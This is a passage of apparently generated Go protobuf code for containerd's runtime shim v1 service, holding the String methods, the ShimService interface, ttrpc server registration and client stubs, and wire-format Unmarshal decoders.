}, "") 2344 | return s 2345 | } 2346 | func (this *ListPidsResponse) String() string { 2347 | if this == nil { 2348 | return "nil" 2349 | } 2350 | s := strings.Join([]string{`&ListPidsResponse{`, 2351 | `Processes:` + strings.Replace(fmt.Sprintf("%v", this.Processes), "ProcessInfo", "task.ProcessInfo", 1) + `,`, 2352 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2353 | `}`, 2354 | }, "") 2355 | return s 2356 | } 2357 | func (this *CheckpointTaskRequest) String() string { 2358 | if this == nil { 2359 | return "nil" 2360 | } 2361 | s := strings.Join([]string{`&CheckpointTaskRequest{`, 2362 | `Path:` + fmt.Sprintf("%v", this.Path) + `,`, 2363 | `Options:` + strings.Replace(fmt.Sprintf("%v", this.Options), "Any", "types1.Any", 1) + `,`, 2364 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2365 | `}`, 2366 | }, "") 2367 | return s 2368 | } 2369 | func (this *ShimInfoResponse) String() string { 2370 | if this == nil { 2371 | return "nil" 2372 | } 2373 | s := strings.Join([]string{`&ShimInfoResponse{`, 2374 | `ShimPid:` + fmt.Sprintf("%v", this.ShimPid) + `,`, 2375 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2376 | `}`, 2377 | }, "") 2378 | return s 2379 | } 2380 | func (this *UpdateTaskRequest) String() string { 2381 | if this == nil { 2382 | return "nil" 2383 | } 2384 | s := strings.Join([]string{`&UpdateTaskRequest{`, 2385 | `Resources:` + strings.Replace(fmt.Sprintf("%v", this.Resources), "Any", "types1.Any", 1) + `,`, 2386 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2387 | `}`, 2388 | }, "") 2389 | return s 2390 | } 2391 | func (this *StartRequest) String() string { 2392 | if this == nil { 2393 | return "nil" 2394 | } 2395 | s := strings.Join([]string{`&StartRequest{`, 2396 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2397 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2398 | `}`, 2399 | }, "") 2400 | return s 2401 | } 2402 | func (this *StartResponse) String() string { 2403 | if this == nil { 2404 | return "nil" 2405 | } 2406 | s := strings.Join([]string{`&StartResponse{`, 2407 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2408 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2409 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2410 | `}`, 2411 | }, "") 2412 | return s 2413 | } 2414 | func (this *WaitRequest) String() string { 2415 | if this == nil { 2416 | return "nil" 2417 | } 2418 | s := strings.Join([]string{`&WaitRequest{`, 2419 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2420 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2421 | `}`, 2422 | }, "") 2423 | return s 2424 | } 2425 | func (this *WaitResponse) String() string { 2426 | if this == nil { 2427 | return "nil" 2428 | } 2429 | s := strings.Join([]string{`&WaitResponse{`, 2430 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2431 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2432 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2433 | `}`, 2434 | }, "") 2435 | return s 2436 | } 2437 | func valueToStringShim(v interface{}) string { 2438 | rv := reflect.ValueOf(v) 2439 | if rv.IsNil() { 2440 | return "nil" 2441 | } 2442 | pv := reflect.Indirect(rv).Interface() 2443 | return fmt.Sprintf("*%v", pv) 2444 | } 2445 | 2446 | type ShimService interface { 2447 | State(ctx context.Context, req *StateRequest) (*StateResponse, error) 2448 | Create(ctx context.Context, req *CreateTaskRequest) (*CreateTaskResponse, error) 2449 | Start(ctx context.Context, req *StartRequest) (*StartResponse, error) 2450 | Delete(ctx context.Context, req *types1.Empty) (*DeleteResponse, error) 2451 | DeleteProcess(ctx context.Context, req *DeleteProcessRequest) (*DeleteResponse, error) 2452 | ListPids(ctx context.Context, req *ListPidsRequest) (*ListPidsResponse, error) 2453 | Pause(ctx context.Context, req *types1.Empty) (*types1.Empty, error) 2454 | Resume(ctx context.Context, req *types1.Empty) (*types1.Empty, error) 2455 | Checkpoint(ctx context.Context, req *CheckpointTaskRequest) (*types1.Empty, error) 2456 | Kill(ctx context.Context, req *KillRequest) (*types1.Empty, error) 2457 | Exec(ctx context.Context, req *ExecProcessRequest) (*types1.Empty, error) 2458 | ResizePty(ctx context.Context, req *ResizePtyRequest) (*types1.Empty, error) 2459 | CloseIO(ctx context.Context, req *CloseIORequest) (*types1.Empty, error) 2460 | ShimInfo(ctx context.Context, req *types1.Empty) (*ShimInfoResponse, error) 2461 | Update(ctx context.Context, req *UpdateTaskRequest) (*types1.Empty, error) 2462 | Wait(ctx context.Context, req *WaitRequest) (*WaitResponse, error) 2463 | } 2464 | 2465 | func RegisterShimService(srv *github_com_containerd_ttrpc.Server, svc ShimService) { 2466 | srv.Register("containerd.runtime.linux.shim.v1.Shim", map[string]github_com_containerd_ttrpc.Method{ 2467 | "State": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2468 | var req StateRequest 2469 | if err := unmarshal(&req); err != nil { 2470 | return nil, err 2471 | } 2472 | return svc.State(ctx, &req) 2473 | }, 2474 | "Create": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2475 | var req CreateTaskRequest 2476 | if err := unmarshal(&req); err != nil { 2477 | return nil, err 2478 | } 2479 | return svc.Create(ctx, &req) 2480 | }, 2481 | "Start": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2482 | var req StartRequest 2483 | if err := unmarshal(&req); err != nil { 2484 | return nil, err 2485 | } 2486 | return svc.Start(ctx, &req) 2487 | }, 2488 | "Delete": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2489 | var req types1.Empty 2490 | if err := unmarshal(&req); err != nil { 2491 | return nil, err 2492 | } 2493 | return svc.Delete(ctx, &req) 2494 | }, 2495 | "DeleteProcess": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2496 | var req DeleteProcessRequest 2497 | if err := unmarshal(&req); err != nil { 2498 | return nil, err 2499 | } 2500 | return svc.DeleteProcess(ctx, &req) 2501 | }, 2502 | "ListPids": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2503 | var req ListPidsRequest 2504 | if err := unmarshal(&req); err != nil { 2505 | return nil, err 2506 | } 2507 | return svc.ListPids(ctx, &req) 2508 | }, 2509 | "Pause": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2510 | var req types1.Empty 2511 | if err := unmarshal(&req); err != nil { 2512 | return nil, err 2513 | } 2514 | return svc.Pause(ctx, &req) 2515 | }, 2516 | "Resume": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2517 | var req types1.Empty 2518 | if err := unmarshal(&req); err != nil { 2519 | return nil, err 2520 | } 2521 | return svc.Resume(ctx, &req) 2522 | }, 2523 | "Checkpoint": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2524 | var req CheckpointTaskRequest 2525 | if err := unmarshal(&req); err != nil { 2526 | return nil, err 2527 | } 2528 | return svc.Checkpoint(ctx, &req) 2529 | }, 2530 | "Kill": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2531 | var req KillRequest 2532 | if err := unmarshal(&req); err != nil { 2533 | return nil, err 2534 | } 2535 | return svc.Kill(ctx, &req) 2536 | }, 2537 | "Exec": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2538 | var req ExecProcessRequest 2539 | if err := unmarshal(&req); err != nil { 2540 | return nil, err 2541 | } 2542 | return svc.Exec(ctx, &req) 2543 | }, 2544 | "ResizePty": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2545 | var req ResizePtyRequest 2546 | if err := unmarshal(&req); err != nil { 2547 | return nil, err 2548 | } 2549 | return svc.ResizePty(ctx, &req) 2550 | }, 2551 | "CloseIO": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2552 | var req CloseIORequest 2553 | if err := unmarshal(&req); err != nil { 2554 | return nil, err 2555 | } 2556 | return svc.CloseIO(ctx, &req) 2557 | }, 2558 | "ShimInfo": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2559 | var req types1.Empty 2560 | if err := unmarshal(&req); err != nil { 2561 | return nil, err 2562 | } 2563 | return svc.ShimInfo(ctx, &req) 2564 | }, 2565 | "Update": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2566 | var req UpdateTaskRequest 2567 | if err := unmarshal(&req); err != nil { 2568 | return nil, err 2569 | } 2570 | return svc.Update(ctx, &req) 2571 | }, 2572 | "Wait": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2573 | var req WaitRequest 2574 | if err := unmarshal(&req); err != nil { 2575 | return nil, err 2576 | } 2577 | return svc.Wait(ctx, &req) 2578 | }, 2579 | }) 2580 | } 2581 | 2582 | type shimClient struct { 2583 | client *github_com_containerd_ttrpc.Client 2584 | } 2585 | 2586 | func NewShimClient(client *github_com_containerd_ttrpc.Client) ShimService { 2587 | return &shimClient{ 2588 | client: client, 2589 | } 2590 | } 2591 | 2592 | func (c *shimClient) State(ctx context.Context, req *StateRequest) (*StateResponse, error) { 2593 | var resp StateResponse 2594 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "State", req, &resp); err != nil { 2595 | return nil, err 2596 | } 2597 | return &resp, nil 2598 | } 2599 | 2600 | func (c *shimClient) Create(ctx context.Context, req *CreateTaskRequest) (*CreateTaskResponse, error) { 2601 | var resp CreateTaskResponse 2602 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Create", req, &resp); err != nil { 2603 | return nil, err 2604 | } 2605 | return &resp, nil 2606 | } 2607 | 2608 | func (c *shimClient) Start(ctx context.Context, req *StartRequest) (*StartResponse, error) { 2609 | var resp StartResponse 2610 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Start", req, &resp); err != nil { 2611 | return nil, err 2612 | } 2613 | return &resp, nil 2614 | } 2615 | 2616 | func (c *shimClient) Delete(ctx context.Context, req *types1.Empty) (*DeleteResponse, error) { 2617 | var resp DeleteResponse 2618 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Delete", req, &resp); err != nil { 2619 | return nil, err 2620 | } 2621 | return &resp, nil 2622 | } 2623 | 2624 | func (c *shimClient) DeleteProcess(ctx context.Context, req *DeleteProcessRequest) (*DeleteResponse, error) { 2625 | var resp DeleteResponse 2626 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "DeleteProcess", req, &resp); err != nil { 2627 | return nil, err 2628 | } 2629 | return &resp, nil 2630 | } 2631 | 2632 | func (c *shimClient) ListPids(ctx context.Context, req *ListPidsRequest) (*ListPidsResponse, error) { 2633 | var resp ListPidsResponse 2634 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ListPids", req, &resp); err != nil { 2635 | return nil, err 2636 | } 2637 | return &resp, nil 2638 | } 2639 | 2640 | func (c *shimClient) Pause(ctx context.Context, req *types1.Empty) (*types1.Empty, error) { 2641 | var resp types1.Empty 2642 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Pause", req, &resp); err != nil { 2643 | return nil, err 2644 | } 2645 | return &resp, nil 2646 | } 2647 | 2648 | func (c *shimClient) Resume(ctx context.Context, req *types1.Empty) (*types1.Empty, error) { 2649 | var resp types1.Empty 2650 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Resume", req, &resp); err != nil { 2651 | return nil, err 2652 | } 2653 | return &resp, nil 2654 | } 2655 | 2656 | func (c *shimClient) Checkpoint(ctx context.Context, req *CheckpointTaskRequest) (*types1.Empty, error) { 2657 | var resp types1.Empty 2658 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Checkpoint", req, &resp); err != nil { 2659 | return nil, err 2660 | } 2661 | return &resp, nil 2662 | } 2663 | 2664 | func (c *shimClient) Kill(ctx context.Context, req *KillRequest) (*types1.Empty, error) { 2665 | var resp types1.Empty 2666 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Kill", req, &resp); err != nil { 2667 | return nil, err 2668 | } 2669 | return &resp, nil 2670 | } 2671 | 2672 | func (c *shimClient) Exec(ctx context.Context, req *ExecProcessRequest) (*types1.Empty, error) { 2673 | var resp types1.Empty 2674 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Exec", req, &resp); err != nil { 2675 | return nil, err 2676 | } 2677 | return &resp, nil 2678 | } 2679 | 2680 | func (c *shimClient) ResizePty(ctx context.Context, req *ResizePtyRequest) (*types1.Empty, error) { 2681 | var resp types1.Empty 2682 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ResizePty", req, &resp); err != nil { 2683 | return nil, err 2684 | } 2685 | return &resp, nil 2686 | } 2687 | 2688 | func (c *shimClient) CloseIO(ctx context.Context, req *CloseIORequest) (*types1.Empty, error) { 2689 | var resp types1.Empty 2690 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "CloseIO", req, &resp); err != nil { 2691 | return nil, err 2692 | } 2693 | return &resp, nil 2694 | } 2695 | 2696 | func (c *shimClient) ShimInfo(ctx context.Context, req *types1.Empty) (*ShimInfoResponse, error) { 2697 | var resp ShimInfoResponse 2698 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ShimInfo", req, &resp); err != nil { 2699 | return nil, err 2700 | } 2701 | return &resp, nil 2702 | } 2703 | 2704 | func (c *shimClient) Update(ctx context.Context, req *UpdateTaskRequest) (*types1.Empty, error) { 2705 | var resp types1.Empty 2706 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Update", req, &resp); err != nil { 2707 | return nil, err 2708 | } 2709 | return &resp, nil 2710 | } 2711 | 2712 | func (c *shimClient) Wait(ctx context.Context, req *WaitRequest) (*WaitResponse, error) { 2713 | var resp WaitResponse 2714 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Wait", req, &resp); err != nil { 2715 | return nil, err 2716 | } 2717 | return &resp, nil 2718 | } 2719 | func (m *CreateTaskRequest) Unmarshal(dAtA []byte) error { 2720 | l := len(dAtA) 2721 | iNdEx := 0 2722 | for iNdEx < l { 2723 | preIndex := iNdEx 2724 | var wire uint64 2725 | for shift := uint(0); ; shift += 7 { 2726 | if shift >= 64 { 2727 | return ErrIntOverflowShim 2728 | } 2729 | if iNdEx >= l { 2730 | return io.ErrUnexpectedEOF 2731 | } 2732 | b := dAtA[iNdEx] 2733 | iNdEx++ 2734 | wire |= uint64(b&0x7F) << shift 2735 | if b < 0x80 { 2736 | break 2737 | } 2738 | } 2739 | fieldNum := int32(wire >> 3) 2740 | wireType := int(wire & 0x7) 2741 | if wireType == 4 { 2742 | return fmt.Errorf("proto: CreateTaskRequest: wiretype end group for non-group") 2743 | } 2744 | if fieldNum <= 0 { 2745 | return fmt.Errorf("proto: CreateTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 2746 | } 2747 | switch fieldNum { 2748 | case 1: 2749 | if wireType != 2 { 2750 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 2751 | } 2752 | var stringLen uint64 2753 | for shift := uint(0); ; shift += 7 { 2754 | if shift >= 64 { 2755 | return ErrIntOverflowShim 2756 | } 2757 | if iNdEx >= l { 2758 | return io.ErrUnexpectedEOF 2759 | } 2760 | b := dAtA[iNdEx] 2761 | iNdEx++ 2762 | stringLen |= uint64(b&0x7F) << shift 2763 | if b < 0x80 { 2764 | break 2765 | } 2766 | } 2767 | intStringLen := int(stringLen) 2768 | if intStringLen < 0 { 2769 | return ErrInvalidLengthShim 2770 | } 2771 | postIndex := iNdEx + intStringLen 2772 | if postIndex < 0 { 2773 | return ErrInvalidLengthShim 2774 | } 2775 | if postIndex > l { 2776 | return io.ErrUnexpectedEOF 2777 | } 2778 | m.ID = string(dAtA[iNdEx:postIndex]) 2779 | iNdEx = postIndex 2780 | case 2: 2781 | if wireType != 2 { 2782 | return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) 2783 | } 2784 | var stringLen uint64 2785 | for shift := uint(0); ; shift += 7 { 2786 | if shift >= 64 { 2787 | return ErrIntOverflowShim 2788 | } 2789 | if iNdEx >= l { 2790 | return io.ErrUnexpectedEOF 2791 | } 2792 | b := dAtA[iNdEx] 2793 | iNdEx++ 2794 | stringLen |= uint64(b&0x7F) << shift 2795 | if b < 0x80 { 2796 | break 2797 | } 2798 | } 2799 | intStringLen := int(stringLen) 2800 | if intStringLen < 0 { 2801 | return ErrInvalidLengthShim 2802 | } 2803 | postIndex := iNdEx + intStringLen 2804 | if postIndex < 0 { 2805 | return ErrInvalidLengthShim 2806 | } 2807 | if postIndex > l { 2808 | return io.ErrUnexpectedEOF 2809 | } 2810 | m.Bundle = string(dAtA[iNdEx:postIndex]) 2811 | iNdEx = postIndex 2812 | case 3: 2813 | if wireType != 2 { 2814 | return fmt.Errorf("proto: wrong wireType = %d for field Runtime", wireType) 2815 | } 2816 | var stringLen uint64 2817 | for shift := uint(0); ; shift += 7 { 2818 | if shift >= 64 { 2819 | return ErrIntOverflowShim 2820 | } 2821 | if iNdEx >= l { 2822 | return io.ErrUnexpectedEOF 2823 | } 2824 | b := dAtA[iNdEx] 2825 | iNdEx++ 2826 | stringLen |= uint64(b&0x7F) << shift 2827 | if b < 0x80 { 2828 | break 2829 | } 2830 | } 2831 | intStringLen := int(stringLen) 2832 | if intStringLen < 0 { 2833 | return ErrInvalidLengthShim 2834 | } 2835 | postIndex := iNdEx + intStringLen 2836 | if postIndex < 0 { 2837 | return ErrInvalidLengthShim 2838 | } 2839 | if postIndex > l { 2840 | return io.ErrUnexpectedEOF 2841 | } 2842 | m.Runtime = string(dAtA[iNdEx:postIndex]) 2843 | iNdEx = postIndex 2844 | case 4: 2845 | if wireType != 2 { 2846 | return fmt.Errorf("proto: wrong wireType = %d for field Rootfs", wireType) 2847 | } 2848 | var msglen int 2849 | for shift := uint(0); ; shift += 7 { 2850 | if shift >= 64 { 2851 | return ErrIntOverflowShim 2852 | } 2853 | if iNdEx >= l { 2854 | return io.ErrUnexpectedEOF 2855 | } 2856 | b := dAtA[iNdEx] 2857 | iNdEx++ 2858 | msglen |= int(b&0x7F) << shift 2859 | if b < 0x80 { 2860 | break 2861 | } 2862 | } 2863 | if msglen < 0 { 2864 | return ErrInvalidLengthShim 2865 | } 2866 | postIndex := iNdEx + msglen 2867 | if postIndex < 0 { 2868 | return ErrInvalidLengthShim 2869 | } 2870 | if postIndex > l { 2871 | return io.ErrUnexpectedEOF 2872 | } 2873 | m.Rootfs = append(m.Rootfs, &types.Mount{}) 2874 | if err := m.Rootfs[len(m.Rootfs)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 2875 | return err 2876 | } 2877 | iNdEx = postIndex 2878 | case 5: 2879 | if wireType != 0 { 2880 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 2881 | } 2882 | var v int 2883 | for shift := uint(0); ; shift += 7 { 2884 | if shift >= 64 { 2885 | return ErrIntOverflowShim 2886 | } 2887 | if iNdEx >= l { 2888 | return io.ErrUnexpectedEOF 2889 | } 2890 | b := dAtA[iNdEx] 2891 | iNdEx++ 2892 | v |= int(b&0x7F) << shift 2893 | if b < 0x80 { 2894 | break 2895 | } 2896 | } 2897 | m.Terminal = bool(v != 0) 2898 | case 6: 2899 | if wireType != 2 { 2900 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 2901 | } 2902 | var stringLen uint64 2903 | for shift := uint(0); ; shift += 7 { 2904 | if shift >= 64 { 2905 | return ErrIntOverflowShim 2906 | } 2907 | if iNdEx >= l { 2908 | return io.ErrUnexpectedEOF 2909 | } 2910 | b := dAtA[iNdEx] 2911 | iNdEx++ 2912 | stringLen |= uint64(b&0x7F) << shift 2913 | if b < 0x80 { 2914 | break 2915 | } 2916 | } 2917 | intStringLen := int(stringLen) 2918 | if intStringLen < 0 { 2919 | return ErrInvalidLengthShim 2920 | } 2921 | postIndex := iNdEx + intStringLen 2922 | if postIndex < 0 { 2923 | return ErrInvalidLengthShim 2924 | } 2925 | if postIndex > l { 2926 | return io.ErrUnexpectedEOF 2927 | } 2928 | m.Stdin = string(dAtA[iNdEx:postIndex]) 2929 | iNdEx = postIndex 2930 | case 7: 2931 | if wireType != 2 { 2932 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 2933 | } 2934 | var stringLen uint64 2935 | for shift := uint(0); ; shift += 7 { 2936 | if shift >= 64 { 2937 | return ErrIntOverflowShim 2938 | } 2939 | if iNdEx >= l { 2940 | return io.ErrUnexpectedEOF 2941 | } 2942 | b := dAtA[iNdEx] 2943 | iNdEx++ 2944 | stringLen |= uint64(b&0x7F) << shift 2945 | if b < 0x80 { 2946 | break 2947 | } 2948 | } 2949 | intStringLen := int(stringLen) 2950 | if intStringLen < 0 { 2951 | return ErrInvalidLengthShim 2952 | } 2953 | postIndex := iNdEx + intStringLen 2954 | if postIndex < 0 { 2955 | return ErrInvalidLengthShim 2956 | } 2957 | if postIndex > l { 2958 | return io.ErrUnexpectedEOF 2959 | } 2960 | m.Stdout = string(dAtA[iNdEx:postIndex]) 2961 | iNdEx = postIndex 2962 | case 8: 2963 | if wireType != 2 { 2964 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 2965 | } 2966 | var stringLen uint64 2967 | for shift := uint(0); ; shift += 7 { 2968 | if shift >= 64 { 2969 | return ErrIntOverflowShim 2970 | } 2971 | if iNdEx >= l { 2972 | return io.ErrUnexpectedEOF 2973 | } 2974 | b := dAtA[iNdEx] 2975 | iNdEx++ 2976 | stringLen |= uint64(b&0x7F) << shift 2977 | if b < 0x80 { 2978 | break 2979 | } 2980 | } 2981 | intStringLen := int(stringLen) 2982 | if intStringLen < 0 { 2983 | return ErrInvalidLengthShim 2984 | } 2985 | postIndex := iNdEx + intStringLen 2986 | if postIndex < 0 { 2987 | return ErrInvalidLengthShim 2988 | } 2989 | if postIndex > l { 2990 | return io.ErrUnexpectedEOF 2991 | } 2992 | m.Stderr = string(dAtA[iNdEx:postIndex]) 2993 | iNdEx = postIndex 2994 | case 9: 2995 | if wireType != 2 { 2996 | return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) 2997 | } 2998 | var stringLen uint64 2999 | for shift := uint(0); ; shift += 7 { 3000 | if shift >= 64 { 3001 | return ErrIntOverflowShim 3002 | } 3003 | if iNdEx >= l { 3004 | return io.ErrUnexpectedEOF 3005 | } 3006 | b := dAtA[iNdEx] 3007 | iNdEx++ 3008 | stringLen |= uint64(b&0x7F) << shift 3009 | if b < 0x80 { 3010 | break 3011 | } 3012 | } 3013 | intStringLen := int(stringLen) 3014 | if intStringLen < 0 { 3015 | return ErrInvalidLengthShim 3016 | } 3017 | postIndex := iNdEx + intStringLen 3018 | if postIndex < 0 { 3019 | return ErrInvalidLengthShim 3020 | } 3021 | if postIndex > l { 3022 | return io.ErrUnexpectedEOF 3023 | } 3024 | m.Checkpoint = string(dAtA[iNdEx:postIndex]) 3025 | iNdEx = postIndex 3026 | case 10: 3027 | if wireType != 2 { 3028 | return fmt.Errorf("proto: wrong wireType = %d for field ParentCheckpoint", wireType) 3029 | } 3030 | var stringLen uint64 3031 | for shift := uint(0); ; shift += 7 { 3032 | if shift >= 64 { 3033 | return ErrIntOverflowShim 3034 | } 3035 | if iNdEx >= l { 3036 | return io.ErrUnexpectedEOF 3037 | } 3038 | b := dAtA[iNdEx] 3039 | iNdEx++ 3040 | stringLen |= uint64(b&0x7F) << shift 3041 | if b < 0x80 { 3042 | break 3043 | } 3044 | } 3045 | intStringLen := int(stringLen) 3046 | if intStringLen < 0 { 3047 | return ErrInvalidLengthShim 3048 | } 3049 | postIndex := iNdEx + intStringLen 3050 | if postIndex < 0 { 3051 | return ErrInvalidLengthShim 3052 | } 3053 | if postIndex > l { 3054 | return io.ErrUnexpectedEOF 3055 | } 3056 | m.ParentCheckpoint = string(dAtA[iNdEx:postIndex]) 3057 | iNdEx = postIndex 3058 | case 11: 3059 | if wireType != 2 { 3060 | return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) 3061 | } 3062 | var msglen int 3063 | for shift := uint(0); ; shift += 7 { 3064 | if shift >= 64 { 3065 | return ErrIntOverflowShim 3066 | } 3067 | if iNdEx >= l { 3068 | return io.ErrUnexpectedEOF 3069 | } 3070 | b := dAtA[iNdEx] 3071 | iNdEx++ 3072 | msglen |= int(b&0x7F) << shift 3073 | if b < 0x80 { 3074 | break 3075 | } 3076 | } 3077 | if msglen < 0 { 3078 | return ErrInvalidLengthShim 3079 | } 3080 | postIndex := iNdEx + msglen 3081 | if postIndex < 0 { 3082 | return ErrInvalidLengthShim 3083 | } 3084 | if postIndex > l { 3085 | return io.ErrUnexpectedEOF 3086 | } 3087 | if m.Options == nil { 3088 | m.Options = &types1.Any{} 3089 | } 3090 | if err := m.Options.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 3091 | return err 3092 | } 3093 | iNdEx = postIndex 3094 | default: 3095 | iNdEx = preIndex 3096 | skippy, err := skipShim(dAtA[iNdEx:]) 3097 | if err != nil { 3098 | return err 3099 | } 3100 | if skippy < 0 { 3101 | return ErrInvalidLengthShim 3102 | } 3103 | if (iNdEx + skippy) < 0 { 3104 | return ErrInvalidLengthShim 3105 | } 3106 | if (iNdEx + skippy) > l { 3107 | return io.ErrUnexpectedEOF 3108 | } 3109 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3110 | iNdEx += skippy 3111 | } 3112 | } 3113 | 3114 | if iNdEx > l { 3115 | return io.ErrUnexpectedEOF 3116 | } 3117 | return nil 3118 | } 3119 | func (m *CreateTaskResponse) Unmarshal(dAtA []byte) error { 3120 | l := len(dAtA) 3121 | iNdEx := 0 3122 | for iNdEx < l { 3123 | preIndex := iNdEx 3124 | var wire uint64 3125 | for shift := uint(0); ; shift += 7 { 3126 | if shift >= 64 { 3127 | return ErrIntOverflowShim 3128 | } 3129 | if iNdEx >= l { 3130 | return io.ErrUnexpectedEOF 3131 | } 3132 | b := dAtA[iNdEx] 3133 | iNdEx++ 3134 | wire |= uint64(b&0x7F) << shift 3135 | if b < 0x80 { 3136 | break 3137 | } 3138 | } 3139 | fieldNum := int32(wire >> 3) 3140 | wireType := int(wire & 0x7) 3141 | if wireType == 4 { 3142 | return fmt.Errorf("proto: CreateTaskResponse: wiretype end group for non-group") 3143 | } 3144 | if fieldNum <= 0 { 3145 | return fmt.Errorf("proto: CreateTaskResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3146 | } 3147 | switch fieldNum { 3148 | case 1: 3149 | if wireType != 0 { 3150 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 3151 | } 3152 | m.Pid = 0 3153 | for shift := uint(0); ; shift += 7 { 3154 | if shift >= 64 { 3155 | return ErrIntOverflowShim 3156 | } 3157 | if iNdEx >= l { 3158 | return io.ErrUnexpectedEOF 3159 | } 3160 | b := dAtA[iNdEx] 3161 | iNdEx++ 3162 | m.Pid |= uint32(b&0x7F) << shift 3163 | if b < 0x80 { 3164 | break 3165 | } 3166 | } 3167 | default: 3168 | iNdEx = preIndex 3169 | skippy, err := skipShim(dAtA[iNdEx:]) 3170 | if err != nil { 3171 | return err 3172 | } 3173 | if skippy < 0 { 3174 | return ErrInvalidLengthShim 3175 | } 3176 | if (iNdEx + skippy) < 0 { 3177 | return ErrInvalidLengthShim 3178 | } 3179 | if (iNdEx + skippy) > l { 3180 | return io.ErrUnexpectedEOF 3181 | } 3182 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3183 | iNdEx += skippy 3184 | } 3185 | } 3186 | 3187 | if iNdEx > l { 3188 | return io.ErrUnexpectedEOF 3189 | } 3190 | return nil 3191 | } 3192 | func (m *DeleteResponse) Unmarshal(dAtA []byte) error { 3193 | l := len(dAtA) 3194 | iNdEx := 0 3195 | for iNdEx < l { 3196 | preIndex := iNdEx 3197 | var wire uint64 3198 | for shift := uint(0); ; shift += 7 { 3199 | if shift >= 64 { 3200 | return ErrIntOverflowShim 3201 | } 3202 | if iNdEx >= l { 3203 | return io.ErrUnexpectedEOF 3204 | } 3205 | b := dAtA[iNdEx] 3206 | iNdEx++ 3207 | wire |= uint64(b&0x7F) << shift 3208 | if b < 0x80 { 3209 | break 3210 | } 3211 | } 3212 | fieldNum := int32(wire >> 3) 3213 | wireType := int(wire & 0x7) 3214 | if wireType == 4 { 3215 | return fmt.Errorf("proto: DeleteResponse: wiretype end group for non-group") 3216 | } 3217 | if fieldNum <= 0 { 3218 | return fmt.Errorf("proto: DeleteResponse: illegal tag %d (wire type %d)", fieldNum, wire) 3219 | } 3220 | switch fieldNum { 3221 | case 1: 3222 | if wireType != 0 { 3223 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 3224 | } 3225 | m.Pid = 0 3226 | for shift := uint(0); ; shift += 7 { 3227 | if shift >= 64 { 3228 | return ErrIntOverflowShim 3229 | } 3230 | if iNdEx >= l { 3231 | return io.ErrUnexpectedEOF 3232 | } 3233 | b := dAtA[iNdEx] 3234 | 